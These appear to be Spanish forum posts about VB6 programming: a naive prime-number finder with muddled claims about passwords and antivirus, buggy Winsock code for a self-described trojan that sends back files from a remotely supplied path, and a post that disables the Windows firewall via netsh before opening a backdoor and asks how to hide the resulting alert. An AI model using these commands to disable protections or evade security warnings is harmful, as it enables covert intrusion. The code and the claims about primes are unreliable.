Me han dicho que para las contraseñas lo mejor es utilizar un numero primo, no se exactamente como va pero dicen que hay que cojer dos numeros primos altos y sumarlos o multiplicarlos a no se que, pero no se porque por ejemplo si encriptas un malware da igual la contraseña porque el antivirus te lo descifra igualmente en poco tiempo.

en todo caso he creado un programa en VB 6.0 para ir encontrando numeros primos, os dejo el codigo, mirad teneis que poner un timer1 a intervalo 1, luego un timer2 a intervalo 30000, luego un text1 y un text2 ambos con scrollbar vertical y funcion multiline a true

Private Sub Timer1_Timer()
Dim x As Long 'un numero primo es un numero que solo se 
Static y As Long 'puede dividir por el mismo o por 1 así que 
Dim r As Integer 'tenemos que provar de dividirlo a partir de 2
y = y + 1 ' hasta un numero inferior al numero que estamos 
For x = 2 To (y - 1) 'provando, por tanto si la division de y entre x da 
If y Mod x = 0 Then 'decimales, 
r = r + 1 
Else 
r = r + 0 ',no se si esta mal ya em corregireis
End If 'el codigo.
Next
If r = 0 Then
Text2.Text = Text2.Text & vbCrLf & y
Else
Text1.Text = Text1.Text & vbCrLf & y
End If
Text1.SelStart = Len(Text1.Text)
Text2.SelStart = Len(Text2.Text)
End Sub
 
Private Sub Timer2_Timer() 'de tanto en tanto vacio los campos de texto
Text1.Text = "" 'para que estos no se colapsen de tantos numeros
Text2.Text = ""
End Sub

lo he dejado hoy todo el dia de las 12 del medio dia hasta ahora que son la 1.29 de la noche, os pongo unos de los ultimos numeros primos, si esta mal el codigo avisadme por favor:
993121
993203
1005457
1005551

Sometimes you just feel tired, you feel weak, and when you feel weak you feel that you just wanna just give up!

ApOkAlizE

Estoy haciendo un troyano, que lo utilizare con mis amigos para podernos apsarnos los jeugos,peliculas,videos... entre nosotros, o sea que más que un troyano sería una programa de assistencia remota.
el caso es que en la parte de descargar archivos no me funciona, es que la verdad he hecho una chapuza, os dejo el codigo a ver si alguien me puede ayudar.
gracias de antemano.

Private Sub Command1_Click()
Dim rutadescarrega As String
rutadescarrega = Text1.Text
Winsock2.SendData rutadescarrega
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim desc As String
Dim nomfitxer As String
Dim rtadesc As String
Dim format As String
Dim tamany2 As Double
format = Text4.Text
nomfitxer = Text2.Text
rtadesc = "C:\P4ND0R4\Descarregues\" & nomfitxer & format
Call Winsock2.GetData(desc, vbString)
Dim desc2 As Long
desc2 = desc2 + desc
If Len(desc2) = tamany Then
Open rtadesc For Binary As #1
Put #1, 1, desc2
Close #1
End If
tamany2 = tamany
ProgressBar1.Min = 0
ProgressBar1.Max = tamany
Label2.Caption = Len(desc2) & "/" & tamany2
ProgressBar1.Value = Label2.Caption
if Len(desc2) = tamany2 Then
Winsock4.sendata "descarregat"
End If
End Sub


server:

Private Sub Winsock4_DataArrival(ByVal bytesTotal As Long)
Dim progr As String
Call Winsock4.GetData(progrés, vbString)
If progr = "descarregat" Then
rutadesc = ""
Dim IP As String
Dim PORT As String
Dim port2 As String
Dim port3 As String
Dim port4 As String
IP = "192.168.1.33"
PORT = "1337"
port2 = "1338"
port3 = "1339"
port4 = "1400"
Winsock1.Close
Winsock1.Connect IP, PORT
Winsock2.Close
Winsock2.Connect IP, port2
Winsock3.Close
Winsock3.Connect IP, port3
Winsock4.Close
Winsock4.Connect IP, port4
End If
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim desc As String
Call Winsock2.GetData(desc, vbString)
Dim rutadesc As String
Dim interruptordesc As String
rutadesc = desc
Dim tamanyFitxer As String
Dim tamany As String

Open rutadesc For Binary As #1
tamanyFitxer = Input(LOF(1), 1)
Close #1
tamany = Len(tamanyFitxer)
Winsock2.SendData "arxiudesc" & "|" & tamany & "|" & rutadesc

Bueno, yo uso VB 6.0 y cuando hago algun chat con winsock lo que me pasa es que para desactivar el firewall antes de abrir la puerta trasera utilizo el siguiente codigo
Call Shell("Netsh firewall set opmode disable")
y si me lo desactiva pero sale abajo a la derecha de la pantalla un mensajito que dice:
PUEDE QUE SU EQUIPO ESTÉ EN RIESGO
Ningún servidor de seguridad está activado
Haga clic aqui...
y el caso es que cuando bloqueo el antivirus me pasa exactamente lo mismo, que sale el mensajito, ¿hay alguien que sepa como hacerlo sin que salga el mensajito?
Es pura curiosidad.
Gracias